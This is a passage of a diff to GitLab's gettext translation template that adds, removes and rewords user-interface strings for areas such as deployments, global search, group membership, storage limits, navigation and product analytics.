+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -14099,6 +14289,12 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14370,7 +14566,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14595,6 +14791,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -15094,6 +15293,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -16291,10 +16493,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -16303,9 +16502,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16805,9 +17001,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16841,9 +17034,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -17167,9 +17357,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17597,9 +17784,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17918,16 +18102,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Format: %{dateFormat}"
-msgstr ""
-
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -18027,6 +18208,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18689,9 +18873,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -19107,6 +19288,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -19119,6 +19303,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -19143,6 +19333,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -19161,6 +19354,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -19173,9 +19369,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19500,6 +19702,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19662,7 +19870,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -20145,9 +20353,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -20202,6 +20416,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -20211,6 +20428,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -20220,6 +20443,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -20337,6 +20563,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20656,6 +20885,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -21070,9 +21305,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -21094,6 +21326,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -21318,12 +21553,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22384,7 +22631,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22448,9 +22695,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22601,6 +22857,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23805,6 +24064,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23853,6 +24115,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23997,9 +24262,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -24315,9 +24577,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24482,9 +24741,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24617,6 +24873,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24686,9 +24945,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25454,6 +25710,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25469,9 +25728,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25571,6 +25827,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25640,9 +25899,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25655,9 +25911,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25997,6 +26250,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -26038,6 +26294,9 @@ msgstr[3] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -26047,6 +26306,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
@@ -26068,10 +26342,10 @@ msgstr ""
msgid "Members|Are you sure you want to remove \"%{groupName}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove %{usersName} from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove %{userName} from \"%{group}\"?"
msgstr ""
-msgid "Members|Are you sure you want to remove this orphaned member from \"%{source}\"?"
+msgid "Members|Are you sure you want to remove this orphaned member from \"%{group}\"?"
msgstr ""
msgid "Members|Are you sure you want to revoke the invitation for %{inviteEmail} to join \"%{source}\""
@@ -26080,9 +26354,15 @@ msgstr ""
msgid "Members|Are you sure you want to withdraw your access request for \"%{source}\""
msgstr ""
+msgid "Members|Cannot leave \"%{source}\""
+msgstr ""
+
msgid "Members|Direct"
msgstr ""
+msgid "Members|Direct member by %{createdBy}"
+msgstr ""
+
msgid "Members|Disabled"
msgstr ""
@@ -26110,6 +26390,9 @@ msgstr ""
msgid "Members|LDAP override enabled."
msgstr ""
+msgid "Members|Last activity"
+msgstr ""
+
msgid "Members|Leave \"%{source}\""
msgstr ""
@@ -26137,6 +26420,12 @@ msgstr ""
msgid "Members|Search invited"
msgstr ""
+msgid "Members|User created"
+msgstr ""
+
+msgid "Members|You cannot remove yourself from a personal project."
+msgstr ""
+
msgid "Member|Deny access"
msgstr ""
@@ -26422,10 +26711,13 @@ msgstr ""
msgid "MergeRequest|Error loading full diff. Please try again."
msgstr ""
+msgid "MergeRequest|Failed to load the page"
+msgstr ""
+
msgid "MergeRequest|No files found"
msgstr ""
-msgid "MergeRequest|Search (e.g. *.vue) (%{modifier_key}P)"
+msgid "MergeRequest|Search (e.g. *.vue) (%{MODIFIER_KEY}P)"
msgstr ""
msgid "MergeTopics|%{sourceTopic} will be removed"
@@ -26485,6 +26777,9 @@ msgstr ""
msgid "Messages"
msgstr ""
+msgid "Metadata"
+msgstr ""
+
msgid "Method"
msgstr ""
@@ -26916,6 +27211,12 @@ msgstr ""
msgid "MilestoneCombobox|Select milestone"
msgstr ""
+msgid "MilestonePage|Copy milestone ID"
+msgstr ""
+
+msgid "MilestonePage|Milestone ID: %{milestone_id}"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -27312,6 +27613,9 @@ msgstr ""
msgid "Multiple Prometheus integrations are not supported"
msgstr ""
+msgid "Multiple signatures"
+msgstr ""
+
msgid "Multiplier to apply to polling intervals. Decimal values are supported. Defaults to 1."
msgstr ""
@@ -27336,6 +27640,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can contain only letters, digits, emojis, '_', '.', '+', dashes, or spaces"
+msgstr ""
+
msgid "Name can't be blank"
msgstr ""
@@ -27345,6 +27652,9 @@ msgstr ""
msgid "Name is already taken."
msgstr ""
+msgid "Name must start with a letter, digit, emoji, or '_'"
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -27370,24 +27680,36 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "NamespaceStorageSize|%{namespace_name} is now read-only. You cannot: %{base_message}"
+msgid "NamespaceStorageSize|%{namespace_name} is now read-only. Projects under this namespace are locked and actions are restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If %{namespace_name} exceeds the storage quota, all projects in the namespace will be locked and actions will be restricted."
+msgstr ""
+
+msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{repository_limits_description}"
+msgstr ""
+
+msgid "NamespaceStorageSize|Manage your storage usage or, if you are a namespace Owner, purchase additional storage."
msgstr ""
-msgid "NamespaceStorageSize|If you reach 100%% storage capacity, you will not be able to: %{base_message}"
+msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{repository_limits_description}"
msgstr ""
-msgid "NamespaceStorageSize|Please purchase additional storage to unlock your projects over the free %{free_size_limit} project limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions are restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{base_message}"
+msgid "NamespaceStorageSize|Which actions become restricted?"
msgstr ""
-msgid "NamespaceStorageSize|You have reached %{usage_in_percent} of %{namespace_name}'s storage capacity (%{used_storage} of %{storage_limit})"
+msgid "NamespaceStorageSize|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{free_size_limit} limit. You can't %{repository_limits_description}"
msgstr ""
msgid "NamespaceStorageSize|You have reached the free storage limit of %{free_size_limit} on one or more projects."
msgstr ""
+msgid "NamespaceStorageSize|You have used %{usage_in_percent} of the storage quota for %{namespace_name} (%{used_storage} of %{storage_limit})"
+msgstr ""
+
msgid "NamespaceStorageSize|push to your repository, create pipelines, create issues or add comments. To reduce storage capacity, delete unused repositories, artifacts, wikis, issues, and pipelines."
msgstr ""
@@ -27481,6 +27803,27 @@ msgstr ""
msgid "NavigationTheme|Red"
msgstr ""
+msgid "Navigation|Context navigation"
+msgstr ""
+
+msgid "Navigation|Recent groups"
+msgstr ""
+
+msgid "Navigation|Recent projects"
+msgstr ""
+
+msgid "Navigation|Switch to..."
+msgstr ""
+
+msgid "Navigation|View all groups"
+msgstr ""
+
+msgid "Navigation|View all projects"
+msgstr ""
+
+msgid "Navigation|Your work"
+msgstr ""
+
msgid "Nav|Help"
msgstr ""
@@ -27611,9 +27954,6 @@ msgstr ""
msgid "New directory"
msgstr ""
-msgid "New discussion"
-msgstr ""
-
msgid "New email address added"
msgstr ""
@@ -27929,9 +28269,6 @@ msgstr ""
msgid "No labels with such name or description"
msgstr ""
-msgid "No license. All rights reserved"
-msgstr ""
-
msgid "No matches found"
msgstr ""
@@ -28110,6 +28447,21 @@ msgstr ""
msgid "Normal text"
msgstr ""
+msgid "NorthstarNavigation|Alpha"
+msgstr ""
+
+msgid "NorthstarNavigation|Could not update the new navigation preference. Please try again later."
+msgstr ""
+
+msgid "NorthstarNavigation|Navigation redesign"
+msgstr ""
+
+msgid "NorthstarNavigation|New navigation"
+msgstr ""
+
+msgid "NorthstarNavigation|Toggle new navigation"
+msgstr ""
+
msgid "Not all browsers support U2F devices. Therefore, we require that you set up a two-factor authentication app first. That way you'll always be able to sign in - even when you're using an unsupported browser."
msgstr ""
@@ -28654,13 +29006,7 @@ msgstr ""
msgid "Number of Elasticsearch shards and replicas per index:"
msgstr ""
-msgid "Number of Git pushes after which %{code_start}git gc%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which a full %{code_start}git repack%{code_end} is run."
-msgstr ""
-
-msgid "Number of Git pushes after which an incremental %{code_start}git repack%{code_end} is run."
+msgid "Number of Git pushes after which Gitaly is asked to optimize a repository."
msgstr ""
msgid "Number of LOCs per commit"
@@ -28711,6 +29057,18 @@ msgstr ""
msgid "Observability"
msgstr ""
+msgid "Observability|Dashboards"
+msgstr ""
+
+msgid "Observability|Data sources"
+msgstr ""
+
+msgid "Observability|Explore"
+msgstr ""
+
+msgid "Observability|Manage dashboards"
+msgstr ""
+
msgid "Oct"
msgstr ""
@@ -29142,6 +29500,9 @@ msgstr ""
msgid "One or more of your personal access tokens has expired."
msgstr ""
+msgid "One or more of your personal access tokens have expired."
+msgstr ""
+
msgid "One or more of your personal access tokens will expire in %{days_to_expire} days or less:"
msgstr ""
@@ -29307,6 +29668,9 @@ msgstr ""
msgid "Opstrace endpoint for Error Tracking integration"
msgstr ""
+msgid "Optimize repository period"
+msgstr ""
+
msgid "Optimize your workflow with CI/CD Pipelines"
msgstr ""
@@ -29734,12 +30098,6 @@ msgstr ""
msgid "PackageRegistry|Helm"
msgstr ""
-msgid "PackageRegistry|Help us learn about your registry migration needs"
-msgstr ""
-
-msgid "PackageRegistry|If you are interested in migrating packages from your private registry to the GitLab Package Registry, take our survey and tell us more about your needs."
-msgstr ""
-
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -29900,9 +30258,6 @@ msgstr ""
msgid "PackageRegistry|Source project located at %{link}"
msgstr ""
-msgid "PackageRegistry|Take survey"
-msgstr ""
-
msgid "PackageRegistry|Target SHA: %{sha}"
msgstr ""
@@ -30049,12 +30404,6 @@ msgstr ""
msgid "Parent"
msgstr ""
-msgid "Parent epic doesn't exist."
-msgstr ""
-
-msgid "Parent epic is not present."
-msgstr ""
-
msgid "Parsing error for param :embed_json. %{message}"
msgstr ""
@@ -30586,7 +30935,7 @@ msgstr ""
msgid "PipelineEditor|Waiting for CI content to load..."
msgstr ""
-msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Cron syntax%{linkEnd})"
+msgid "PipelineScheduleIntervalPattern|Custom (%{linkStart}Learn more.%{linkEnd})"
msgstr ""
msgid "PipelineSchedules|Activated"
@@ -30601,6 +30950,9 @@ msgstr ""
msgid "PipelineSchedules|Are you sure you want to delete this pipeline schedule?"
msgstr ""
+msgid "PipelineSchedules|Cron timezone"
+msgstr ""
+
msgid "PipelineSchedules|Delete pipeline schedule"
msgstr ""
@@ -30613,6 +30965,9 @@ msgstr ""
msgid "PipelineSchedules|Inactive"
msgstr ""
+msgid "PipelineSchedules|Interval Pattern"
+msgstr ""
+
msgid "PipelineSchedules|Last Pipeline"
msgstr ""
@@ -30640,6 +30995,12 @@ msgstr ""
msgid "PipelineSchedules|Run pipeline schedule"
msgstr ""
+msgid "PipelineSchedules|Save pipeline schedule"
+msgstr ""
+
+msgid "PipelineSchedules|Successfully scheduled a pipeline to run. Go to the %{linkStart}Pipelines page%{linkEnd} for details. "
+msgstr ""
+
msgid "PipelineSchedules|Successfully taken ownership from %{owner}."
msgstr ""
@@ -30658,6 +31019,9 @@ msgstr ""
msgid "PipelineSchedules|There was a problem fetching pipeline schedules."
msgstr ""
+msgid "PipelineSchedules|There was a problem playing the pipeline schedule."
+msgstr ""
+
msgid "PipelineSchedules|There was a problem taking ownership of the pipeline schedule."
msgstr ""
@@ -31612,9 +31976,6 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Choose which Web IDE version you want to use."
-msgstr ""
-
msgid "Preferences|Color for added lines"
msgstr ""
@@ -31672,6 +32033,9 @@ msgstr ""
msgid "Preferences|Must be a number between %{min} and %{max}"
msgstr ""
+msgid "Preferences|Opt out of the Web IDE Beta"
+msgstr ""
+
msgid "Preferences|Preview"
msgstr ""
@@ -31699,7 +32063,10 @@ msgstr ""
msgid "Preferences|Tab width"
msgstr ""
-msgid "Preferences|The legacy Web IDE remains available while the new Web IDE is in Beta."
+msgid "Preferences|The Web IDE Beta is the default Web IDE experience."
+msgstr ""
+
+msgid "Preferences|The Web IDE remains available alongside the Beta."
msgstr ""
msgid "Preferences|This feature is experimental and translations are not yet complete."
@@ -31714,9 +32081,6 @@ msgstr ""
msgid "Preferences|Time preferences"
msgstr ""
-msgid "Preferences|Use legacy Web IDE"
-msgstr ""
-
msgid "Preferences|Use relative times"
msgstr ""
@@ -31828,6 +32192,9 @@ msgstr ""
msgid "Private profile"
msgstr ""
+msgid "Private profile:"
+msgstr ""
+
msgid "Private projects Minutes cost factor"
msgstr ""
@@ -31840,27 +32207,228 @@ msgstr ""
msgid "Proceed"
msgstr ""
-msgid "Product Analytics|Onboarding view"
+msgid "Product Analytics|Add the NPM package to your package.json using your preferred package manager:"
+msgstr ""
+
+msgid "Product Analytics|Add the script to the page and assign the client SDK to window:"
+msgstr ""
+
+msgid "Product Analytics|Analyze your product with Product Analytics"
+msgstr ""
+
+msgid "Product Analytics|For the product analytics dashboard to start showing you some data, you need to add the analytics tracking code to your project."
+msgstr ""
+
+msgid "Product Analytics|Identifies the sender of tracking events"
+msgstr ""
+
+msgid "Product Analytics|Import the new package into your JS code:"
+msgstr ""
+
+msgid "Product Analytics|Instrument your application"
+msgstr ""
+
+msgid "Product Analytics|SDK App ID"
+msgstr ""
+
+msgid "Product Analytics|SDK Host"
+msgstr ""
+
+msgid "Product Analytics|Set up Product Analytics to track how your product is performing. Combine it with your GitLab data to better understand where you can improve your product and development processes."
+msgstr ""
+
+msgid "Product Analytics|Set up product analytics..."
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a CommonJS module"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as a HTML script tag"
+msgstr ""
+
+msgid "Product Analytics|Steps to add product analytics as an ESM module"
+msgstr ""
+
+msgid "Product Analytics|The host to send all tracking events to"
+msgstr ""
+
+msgid "Product Analytics|To instrument your application, select one of the options below. After an option has been instrumented and data is being collected, this page will progress to the next step."
msgstr ""
msgid "Product analytics"
msgstr ""
+msgid "ProductAnalytics|Add another dimension"
+msgstr ""
+
msgid "ProductAnalytics|Add to Dashboard"
msgstr ""
+msgid "ProductAnalytics|All clicks compared"
+msgstr ""
+
+msgid "ProductAnalytics|All events compared"
+msgstr ""
+
+msgid "ProductAnalytics|All features"
+msgstr ""
+
+msgid "ProductAnalytics|All pages"
+msgstr ""
+
msgid "ProductAnalytics|An error occured while loading the %{widgetTitle} widget."
msgstr ""
+msgid "ProductAnalytics|An error occurred while fetching data. Refresh the page to try again."
+msgstr ""
+
+msgid "ProductAnalytics|Any Click on elements"
+msgstr ""
+
msgid "ProductAnalytics|Audience"
msgstr ""
+msgid "ProductAnalytics|Browser"
+msgstr ""
+
+msgid "ProductAnalytics|Browser Family"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a chart type on the right"
+msgstr ""
+
+msgid "ProductAnalytics|Choose a measurement to start"
+msgstr ""
+
+msgid "ProductAnalytics|Click Events"
+msgstr ""
+
+msgid "ProductAnalytics|Code"
+msgstr ""
+
+msgid "ProductAnalytics|Compares all events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares click events against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares feature usage of all features against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Compares pageviews of all pages against each other"
+msgstr ""
+
+msgid "ProductAnalytics|Dashboards are created by editing the projects dashboard files."
+msgstr ""
+
+msgid "ProductAnalytics|Data"
+msgstr ""
+
+msgid "ProductAnalytics|Data Table"
+msgstr ""
+
+msgid "ProductAnalytics|Dimensions"
+msgstr ""
+
+msgid "ProductAnalytics|Event Type"
+msgstr ""
+
+msgid "ProductAnalytics|Events"
+msgstr ""
+
+msgid "ProductAnalytics|Events grouped by %{granularity}"
+msgstr ""
+
+msgid "ProductAnalytics|Events over time"
+msgstr ""
+
+msgid "ProductAnalytics|Feature Usage"
+msgstr ""
+
+msgid "ProductAnalytics|Feature usage"
+msgstr ""
+
+msgid "ProductAnalytics|Host"
+msgstr ""
+
+msgid "ProductAnalytics|Language"
+msgstr ""
+
+msgid "ProductAnalytics|Line Chart"
+msgstr ""
+
+msgid "ProductAnalytics|Measure All tracked Events"
+msgstr ""
+
+msgid "ProductAnalytics|Measure all or specific Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Measuring"
+msgstr ""
+
msgid "ProductAnalytics|New Analytics Widget Title"
msgstr ""
+msgid "ProductAnalytics|OS"
+msgstr ""
+
+msgid "ProductAnalytics|OS Version"
+msgstr ""
+
+msgid "ProductAnalytics|On what do you want to get insights?"
+msgstr ""
+
+msgid "ProductAnalytics|Page Language"
+msgstr ""
+
+msgid "ProductAnalytics|Page Path"
+msgstr ""
+
+msgid "ProductAnalytics|Page Title"
+msgstr ""
+
+msgid "ProductAnalytics|Page Views"
+msgstr ""
+
+msgid "ProductAnalytics|Pages"
+msgstr ""
+
+msgid "ProductAnalytics|Product analytics dashboards"
+msgstr ""
+
+msgid "ProductAnalytics|Referer"
+msgstr ""
+
+msgid "ProductAnalytics|Resulting Data"
+msgstr ""
+
msgid "ProductAnalytics|There is no data for this type of chart currently. Please see the Setup tab if you have not configured the product analytics tool already."
msgstr ""
+msgid "ProductAnalytics|Track specific features"
+msgstr ""
+
+msgid "ProductAnalytics|URL"
+msgstr ""
+
+msgid "ProductAnalytics|User activity"
+msgstr ""
+
+msgid "ProductAnalytics|Users"
+msgstr ""
+
+msgid "ProductAnalytics|Viewport"
+msgstr ""
+
+msgid "ProductAnalytics|Visualization Type"
+msgstr ""
+
+msgid "ProductAnalytics|What do you want to measure?"
+msgstr ""
+
+msgid "ProductAnalytics|Widget"
+msgstr ""
+
msgid "Productivity"
msgstr ""
@@ -32515,6 +33083,18 @@ msgstr ""
msgid "ProjectLastActivity|Never"
msgstr ""
